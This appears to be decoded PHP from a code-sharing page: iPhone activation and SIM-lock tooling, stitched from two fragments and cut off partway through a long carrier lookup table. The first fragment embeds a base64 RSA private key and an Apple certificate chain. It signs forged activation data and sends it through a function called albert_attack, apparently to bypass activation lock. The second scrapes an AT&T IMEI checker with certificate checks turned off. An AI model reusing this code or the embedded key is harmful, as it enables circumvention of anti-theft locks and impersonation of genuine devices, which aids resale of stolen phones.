$FairplayPrivateKeyBase64 = "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlDV3dJQkFBS0JnUUMzQktyTFBJQmFiaHByKzRTdnVRSG5iRjBzc3FSSVE2Ny8xYlRmQXJWdVVGNnA5c2RjdjcwTityOHlGeGVzRG1wVG1LaXRMUDA2c3pLTkFPMWs1SlZrOS9QMWVqejA4Qk1lOWVBYjRqdUFoVldkZkFJeWFKN3NHRmplU0wwMTVtQXZyeFRGY09NMTBGL3FTbEFSQmljY3hIalBYdHVXVnIwZkxHcmhNKy9BTVFJREFRQUJBb0dBQ0dXM2JISFBOZGI5Y1Z6dC9wNFBmMDNTakoxNXVqTVkwWFk5d1VtL2gxczZyTE84Ky8xME1ETUVHTWxFZGNtSGlXUmt3T1ZpalJIeHpOUnhFQU1JODdBcnVvZmhqZGRiTlZMdDZwcFcybkxDSzdjRURRSkZhaFRXOUdRRnpwVlJRWFhmeHI0Y3MxWDNrdXRsQjZ1WTJWR2x0eFFGWXNqNWRqdjdEK0E3MkEwQ1FRRFpqMVJHZHhiZU9vNFh6eGZBNm40MkdwWmF2VGxNM1F6R0ZvQkpnQ3FxVnUxSlFPem9vQU1SVCtOUGZnb0U4K3VzSVZWQjRJbzBiQ1VUV0xwa0V5dFRBa0VBMTFyeklwR0loRmtQdE5jLzMzZnZCRmd3VWJzalRzMVY1RzZ6NWx5L1huRzlFTmZMYmxnRW9iTG1TbXozaXJ2QlJXQURpd1V4NXpZNkZOL0RtdGk1NndKQWRpU2Nha3VmY255dnp3UVo3UndwLzYxK2VyWUpHTkZ0YjJDbXQ4Tk82QU9laGNvcEhNWlFCQ1d5MWVjbS83dUovb1ozYXZmSmRXQkkzZkd2L2twZW13SkFHTVh5b0RCanB1M2oyNmJEUno2eHRTczc2N3IrVmN0VExTTDYrTzRFYWFYbDNQRW1DcngvVSthVGpVNDVyN0RuaThaK3dkaElKRlBkbkpjZEZrd0dId0pBUFErd1ZxUmpjNGgzSHd1OEk2bGxrOXdocEs5TzcwRkxvMUZNVmRheXRFbE15cXpRMi8wNWZNYjdGNnlhV2h1K1EyR0dYdmRsVVJpQTN0WTBDc2ZNMHc9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ==";
$FairPlayCertChain64 = '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';
openssl_sign($ActivationInfoXML, $signature, openssl_pkey_get_private(base64_decode($FairplayPrivateKeyBase64)), 'sha1WithRSAEncryption'); //sha1WithRSAEncryption
$ActivationInfoXMLSignature = base64_encode($signature);
$posti =
'<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ActivationInfoComplete</key>
<true/>
<key>ActivationInfoXML</key>
<data>'.$ActivationInfoXML64.'</data>
<key>FairPlayCertChain</key>
<data>'.$FairPlayCertChain64.'</data>
<key>FairPlaySignature</key>
<data>'.$ActivationInfoXMLSignature.'</data>
<key>RKCertification</key>
<data>
MIIB9zCCAZwCAQEwADCB2gIBATAKBggqhkjOPQQDAgNIADBFAiEAk0kFrgp9oIqPSyw4
CeWwPc1MAGYtjvghUvV+YvDGhicCIEE0vW+s4Zs61eFjJDzvVxAKbsHFNj7MtVrbr5zT
i4k5MFswFQYHKoZIzj0CAaAKBggqhkjOPQMBBwNCAARuSdhS4I5eL1IyV2c+G690w4DH
9DFQye4b8PMbQ7FKFnhGcUOXk0eTfeF4q+b+au3l22dbj1DdioLbCCbNFVyFoAoECCBz
a3NIAAAAohYEFIT4wv/S+twSVWiuIUZOBiBDJj+OMIG3AgEBMAoGCCqGSM49BAMCA0kA
MEYCIQDngLzCQYigVMuMh3dtsq8GxrcShp6QobrHkWEmtDwjWgIhAKeWSAcq9n+wgAav
LU5TYBDy2smBJPSJxlgnECyB29RsMFswFQYHKoZIzj0CAaAKBggqhkjOPQMBBwNCAASU
2VJGBNC+Hjw5KKv3qW9IFVBE5KdWnoMwJxku1j5+7lqSe2kYxYhT1rvPAt/r1/0wALzL
aY59NYA0Ax8rKWfWMAoGCCqGSM49BAMCA0kAMEYCIQDhoMxEfjuVQgqo9ol5O6Li1Omg
JMzaL4VCTNZVXfFv/AIhALdI44Q5KEuk0FwaycYSScndcuh5B88+NuFQn41isuwM
</data>
<key>RKSignature</key>
<data>
MEQCIBfETROMXro82io/uy53ChhYmoqvTsSSdL9K9YUxW+GLAiAhh9EZ4TRxuSqWoRqm
0cop5KHlreeLv+PwHKpXn9Vmfw==
</data>
<key>serverKP</key>
<data>
TlVMTA==
</data>
<key>signActRequest</key>
<data>
TlVMTA==
</data>
</dict>
</plist>';
return albert_attack($posti);
}
Did this file decode correctly?
Original Code
<?php
// Coded by @google
define("DEBUG", false);
error_reporting(0);
set_time_limit(0);
if(isset($_GET['imei']) && isset($_GET['sn'])) {
$sn = $_GET['sn'];
$imei = $_GET['imei'];
$imei2 = $_GET['imei2'];
if(empty($imei2) == false){ $inject_imei2 = "<strong>IMEI2:</strong> $imei2<br>"; }
if (validate_imei($imei) == true){
$imsi_tt=0; $imsi_nb=0; $imsi_nm="";
$device=checkInfo($imei);
$gsmcall = simlock($imei, $sn, null, $imei2);
if($gsmcall == "TryMeid") { $meid = substr($imei, 0, -1); }
if(empty($meid) == false){ $inject_meid = "<strong>MEID:</strong> $meid<br>"; }
$gsmcall = simlock($imei, $sn, $meid, $imei2);
if($gsmcall == 'Locked' || $gsmcall == 'Unlocked') {
foreach(IMSI_ARRAY() as $isi) {
$carrier = simlock($imei, $sn, $meid, $imei2, $isi);
if($carrier=="Unlocked") {
$labelCar = imsiChecker($isi);
$imsi_nb++;
}
$imsi_tt++;
}
if(($imsi_tt - $imsi_nb) == 0) {
echo "Model:<span style='color:black;'> $device</span><br>Imei:<span style='color:black;'> $imei</span><br>Imei2:<span style='color:black;'> $imei2</span><br>Serial:<span style='color:black;'> $sn</span><br><br>
Next Tether Policy: 10<br>SimLock:<span style='color:green;'> $gsmcall</span>";
} else {
$status = "<span style='color:red;'> Locked</span>";
echo "Model:<span style='color:black;'> $device</span><br>Imei:<span style='color:black;'> $imei</span><br>Imei2:<span style='color:black;'> $imei2</span><br>Serial:<span style='color:black;'> $sn</span><br>Carrier:<span style='color:black;'> $labelCar</span><br>SimLock:<span style='color:red;'>$status</span><br>";
}
} else {
if($gsmcall == "chimaera"){
echo "Model:<span style='color:black;'> $device</span><br>Imei:<span style='color:black;'> $imei</span><br>Imei2:<span style='color:black;'> $imei2</span><br>Serial:<span style='color:black;'> $sn</span><br>Next Tether Policy ID: Chimaera Device Policy 2365</span><br>Status:<span style='color:red;'> Blocked by Apple</span><br>";
}else {
echo 'Wrong IMEI or Server Down!';
}
//echo $gsmcall;
}
} else {
echo 'Wrong IMEI';
}
}
function checkInfo($imei) {
$url="https://m.att.com/shopmobile/wireless/byop/checkIMEI.xhr.html ";
$post_data = "_dynSessConf=23&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.imeiNumber=$imei&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.imeiNumber=+&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.BYODSource=mobile&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.BYODSource=+&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.sucessUrl=%2Fshopmobile%2Fwireless%2Fbyop%2FcheckIMEI%2Fjcr%3Acontent%2Fmaincontent%2Fimeiinfo.ajax.getImeiValidationResponse.xhr.html&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.sucessUrl=+&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.validateImei=&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.validateImei=+&_DARGS=%2Fshopmobile%2Fwireless%2Fbyop%2FcheckIMEI.xhr.html";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL , $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER , 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded", "Content-Length: ".strlen($post_data)));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT , "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/58.0.3135.127" );
curl_setopt($ch, CURLOPT_POST , 1);
curl_setopt($ch, CURLOPT_POSTFIELDS , $post_data);
$xml_response = curl_exec($ch);
if (curl_errno($ch)) {
$error_message = curl_error($ch);
$error_no = curl_errno($ch);
// echo "error_message: " . $error_message . "<br>";
// echo "error_no: " . $error_no . "<br>";
}
curl_close($ch);
if(strpos($xml_response, "deviceTitle") !== false) {
$device= json_decode($xml_response);
$device=$device->deviceTitle;
$device=str_replace(" - ", " ", $device);
$device=str_replace("Apple ", "", $device);
return $device;
} else {
return "Unknown";
}
}
function IMSI_ARRAY() {
return array('2321069', '2321170', '0839012', '3104101', '3102605', '2040400', '2343303', '2341590', '2400700', '2400111', '2400885', '2720303', '2940102', '4402011', '2163011', '2080111', '3027204','3114801');
}
function imsiChecker($imsi) {
if($imsi=='2321069')
return 'AUSTRIA 3 HUTCHISON';
else if($imsi=='2321170')
return 'A1 MOBILKOM AUSTRIA';
else if($imsi=='0839012')
return 'SPRINT USA';
else if($imsi=='3104101')
return 'US AT&T Locked Activation Policy
<br>Next Tether Policy: 23<br>Country: United States';
else if($imsi=='3102605')
return 'T-MOBILE USA';
else if($imsi=='2040400')
return 'VERIZON USA';
else if($imsi=='2343303')
return 'EE UK (TMOBILE/ORANGE)';
else if($imsi=='2341590')
return 'VODAFONE UK';
else if($imsi=='2400700')
return 'TELE2 SWEDEN';
else if($imsi=='2400111')
return 'TELIA SWEDEN';
else if($imsi=='2400885')
return 'TELENOR SWEDEN';
else if($imsi=='2720303')
return 'IRELAND METEOR';
else if($imsi=='2940102')
return 'T-MOBILE MACEDONIA';
else if($imsi=='4402011')
return 'SOFTBANK JAPAN';
else if($imsi=='2163011')
return 'T-MOBILE HUNGARY';
else if($imsi=='2080111')
return 'ORANGE FRANCE';
else if($imsi=='3027204')
return 'CANADA ROGERS';
else if($imsi=='2040400')
return 'VERIZON/TRACFONE USA';
else if($imsi=='2760111')
return 'ALBANIAN MOBILE';
else if($imsi=='2760311')
return 'EAGLE MOBILE';
else if($imsi=='2760211')
return 'VODAFONE';
else if($imsi=='2760411')
return 'PLUS AL';
else if($imsi=='6030111')
return 'ALGETEL';
else if($imsi=='6030311')
return 'NEDJMA';
else if($imsi=='6030211')
return 'ORASCOM';
else if($imsi=='2130311')
return 'MOBILAND';
else if($imsi=='6310211')
return 'UNITEL';
else if($imsi=='3654011')
return 'CABL&WI';
else if($imsi=='3650511')
return 'MOSSEL';
else if($imsi=='3651011')
return 'WEBLINK';
else if($imsi=='7161003')
return 'CLARO';
else if($imsi=='7161003')
return 'COMPALA';
else if($imsi=='7223101')
return 'CTI';
else if($imsi=='7220104')
return 'MOVISTAR';
else if($imsi=='7220211')
return 'NEXTEL';
else if($imsi=='7222011')
return 'NEXTEL2';
else if($imsi=='7223411')
return 'TELECOM';
else if($imsi=='7220711')
return 'TELEFONI';
else if($imsi=='7227011')
return 'TELFONIC';
else if($imsi=='2830134')
return 'ARMENTEL';
else if($imsi=='2830434')
return 'KARABAKH';
else if($imsi=='2831034')
return 'ORANGE';
else if($imsi=='2830534')
return 'VIVACELL';
else if($imsi=='5050610')
return '3';
else if($imsi=='5050210')
return 'OPTUS';
else if($imsi=='5050390')
return 'VODAFONE';
else if($imsi=='5051570')
return '3GIS';
else if($imsi=='5051470')
return 'AAPT';
else if($imsi=='5052470')
return 'ADVAN';
else if($imsi=='5058870')
return 'LOCALSTAR';
else if($imsi=='5050870')
return 'ONE';
else if($imsi=='5050534')
return 'OZITEL';
else if($imsi=='5057170')
return 'TELSTRA71';
else if($imsi=='5057270')
return 'TELSTRA72';
else if($imsi=='5051170')
return 'TELSTRA11';
else if($imsi=='5050134')
return 'TELSTRA';
else if($imsi=='2321070')
return '3HUTCH';
else if($imsi=='2320170')
return 'A1 TELEKOM';
else if($imsi=='2321570')
return 'BARABL';
else if($imsi=='2321170')
return 'BOBA1';
else if($imsi=='2320570')
return 'ONEORA';
else if($imsi=='2320770')
return 'TELERI';
else if($imsi=='2320370')
return 'T-MOBI LE';
else if($imsi=='2321270')
return 'YESORA';
else if($imsi=='2320588')
return 'ORANGE';
else if($imsi=='2321069')
return 'THREE';
else if($imsi=='5050970')
return 'AIRNET';
else if($imsi=='5050434')
return 'DEPART';
else if($imsi=='2570434')
return 'BEST';
else if($imsi=='2570134')
return 'MDC';
else if($imsi=='2270234')
return 'MTS';
else if($imsi=='2061034')
return 'BASE';
else if($imsi=='2060534')
return 'GLOBUL';
else if($imsi=='2061034')
return 'MOBISTAR';
else if($imsi=='2060134')
return 'PROXIMUS';
else if($imsi=='2062050')
return 'ORTEL';
else if($imsi=='2840179')
return 'MTEL';
else if($imsi=='2840310')
return 'VIVACOM';
else if($imsi=='2840510')
return 'GLOBUL';
else if($imsi=='3026104')
return 'BELL610';
else if($imsi=='3101703')
return 'BELLPACIFIC';
else if($imsi=='3023704')
return 'FIDO';
else if($imsi=='3027204')
return 'ROGERS';
else if($imsi=='3022204')
return 'TELUS220';
else if($imsi=='3026600')
return 'MTS';
else if($imsi=='3026102')
return 'VIRGIN';
else if($imsi=='3113700')
return 'USA';
else if($imsi=='7300304')
return 'CLARO';
else if($imsi=='7300104')
return 'ENTEL';
else if($imsi=='7301004')
return 'ENTEL10';
else if($imsi=='7300204')
return 'MOVISTAR';
else if($imsi=='4600202')
return 'MOBILE';
else if($imsi=='4600158')
return 'UNICOM';
else if($imsi=='2040438')
return 'TELECOM CHINA';
else if($imsi=='7320014')
return 'COLOMTEL';
else if($imsi=='7321014')
return 'COMCEL';
else if($imsi=='7320024')
return 'EDATEL';
else if($imsi=='7321234')
return 'MOVISTA3';
else if($imsi=='7321024')
return 'MOVISTAR';
else if($imsi=='7321114')
return 'TIGO1';
else if($imsi=='7321034')
return 'TIGO3';
else if($imsi=='2190199')
return 'T-MOBILE';
else if($imsi=='2191065')
return 'VIP';
else if($imsi=='2300434')
return 'MOBIKOM';
else if($imsi=='2300234')
return 'O2TELEFH';
else if($imsi=='2309834')
return 'SPRAVA';
else if($imsi=='2300134')
return 'TMOBI';
else if($imsi=='2300334')
return 'VODAFONE';
else if($imsi=='2309934')
return 'VODAF2';
else if($imsi=='2620125')
return 'TM';
else if($imsi=='2382010')
return 'DEMARK';
else if($imsi=='2380534')
return 'APS';
else if($imsi=='2380734')
return 'BARABLU';
else if($imsi=='2380634')
return 'H3G';
else if($imsi=='2380632')
return '3';
else if($imsi=='2380241')
return 'TELEN';
else if($imsi=='2380334')
return 'MIGWAY';
else if($imsi=='2380134')
return 'TDC';
else if($imsi=='2381034')
return 'TDC2';
else if($imsi=='2387734')
return 'TELENOR';
else if($imsi=='2382034')
return 'TELIA';
else if($imsi=='2383034')
return 'TELIA30';
else if($imsi=='7321234')
return 'MOVIL';
else if($imsi=='7400234')
return 'ALEGRO';
else if($imsi=='7400034')
return 'MOVISTA';
else if($imsi=='7400134')
return 'PORTA';
else if($imsi=='6020111')
return 'MOBINIL';
else if($imsi=='6020211')
return 'VODAFONE';
else if($imsi=='6020311')
return 'ETISALAT';
else if($imsi=='7061034')
return 'CLARO/CTE';
else if($imsi=='7060134')
return 'CTE/CLARO';
else if($imsi=='7060234')
return 'DIGICE';
else if($imsi=='7060434')
return 'MOVITA';
else if($imsi=='7060334')
return 'TELEMO';
else if($imsi=='2480134')
return 'EMT';
else if($imsi=='2440311')
return 'NDA';
else if($imsi=='2449111')
return 'SONERA';
else if($imsi=='2082136')
return 'BOUYGUES';
else if($imsi=='2082031')
return 'BT';
else if($imsi=='2080189')
return 'ORANGE';
else if($imsi=='2082011')
return 'BOUYGUES20';
else if($imsi=='2082111')
return 'BOUYGUES21';
else if($imsi=='2088811')
return 'BOUYGUES88';
else if($imsi=='2080111')
return 'ORANGE01';
else if($imsi=='2080211')
return 'ORANGE02';
else if($imsi=='2081011')
return 'SFR10';
else if($imsi=='2081111')
return 'SFR11';
else if($imsi=='2081031')
return 'SFR';
else if($imsi=='2081003')
return 'SFR';
else if($imsi=='2080191')
return 'VIRGIN';
else if($imsi=='2620111')
return 'T-MOBILE';
else if($imsi=='2620208')
return 'VODAFONE';
else if($imsi=='2020134')
return 'COSMOTE';
else if($imsi=='2020934')
return 'QTELECOM';
else if($imsi=='2020534')
return 'VODAFONE';
else if($imsi=='2021034')
return 'WIND';
else if($imsi=='7080111')
return 'CLARO';
else if($imsi=='2163011')
return 'T-MOBILE';
else if($imsi=='2167000')
return 'VODAFONE';
else if($imsi=='4040211')
return 'AIRTEL02';
else if($imsi=='4040111')
return 'VODAF01';
else if($imsi=='4040511')
return 'VODAF05';
else if($imsi=='4044611')
return 'VODAF46';
else if($imsi=='2720110')
return 'VODAFONE';
else if($imsi=='2720211')
return 'O2';
else if($imsi=='2720320')
return 'E-MOBILE';
else if($imsi=='2720303')
return 'METEOR';
else if($imsi=='2720500')
return '3';
else if($imsi=='2229834')
return 'BLU';
else if($imsi=='2220234')
return 'ELSACOM';
else if($imsi=='2229934')
return 'H3G';
else if($imsi=='2227734')
return 'IPSE';
else if($imsi=='2220134')
return 'TELECOM';
else if($imsi=='2220134')
return 'TIM';
else if($imsi=='2221034')
return 'VODAFONE';
else if($imsi=='2228834')
return 'WIND';
else if($imsi=='4540492')
return 'AU KIDDI 4S';
else if($imsi=='4405000')
return 'AU KIDDI 5G';
else if($imsi=='4402081')
return 'SOFTBANK 4S/5G';
else if($imsi=='4405014')
return 'AU KDDI IPHONE5';
else if($imsi=='4167711')
return 'ORANGE';
else if($imsi=='4500826')
return 'TELECOME';
else if($imsi=='2950211')
return 'ORANGE';
else if($imsi=='2950111')
return 'SWISCO';
else if($imsi=='2460165')
return 'OMNITEL';
else if($imsi=='2460165')
return 'OMNITEL';
else if($imsi=='2700101')
return 'LUXGSM';
else if($imsi=='2707701')
return 'TANGO';
else if($imsi=='2709901')
return 'VOXMOBI';
else if($imsi=='4550234')
return 'CHINA';
else if($imsi=='4550134')
return 'CMT';
else if($imsi=='4550534')
return 'HUTCHIS';
else if($imsi=='4550034')
return 'SMARTT';
else if($imsi=='2940387')
return 'VIP';
else if($imsi=='2940200')
return 'ONE(EX-COSMOFON)';
else if($imsi=='2940102')
return 'T-MOBILE';
else if($imsi=='3340202')
return 'TELCEL';
else if($imsi=='3340100')
return 'NEXTEL';
else if($imsi=='3340500')
return 'LUSACELL';
else if($imsi=='3340300')
return 'MOVISTAR';
else if($imsi=='3340202')
return 'AMERICA MOVIL';
else if($imsi=='2590101')
return 'ORANGE';
else if($imsi=='2970200')
return 'T-MOBILE';
else if($imsi=='2041611')
return 'T-MOBILE';
else if($imsi=='5300134')
return 'RESERVE';
else if($imsi=='2040438')
return 'VODAFONE';
else if($imsi=='5302834')
return 'ECONET';
else if($imsi=='5302434')
return 'NZCOMUNIC';
else if($imsi=='5300534')
return 'TELECOM';
else if($imsi=='5300434')
return 'TELTRACLE';
else if($imsi=='5300134')
return 'VODAFONE';
else if($imsi=='5300334')
return 'WOOSH';
else if($imsi=='2420211')
return 'NETCOM';
else if($imsi=='2420111')
return 'TELENOR';
else if($imsi=='2400768')
return 'TELE2';
else if($imsi=='7161011')
return 'CLARO';
else if($imsi=='7161011')
return 'TIM';
else if($imsi=='5150220')
return 'GB';
else if($imsi=='5150303')
return 'SM';
else if($imsi=='5150509')
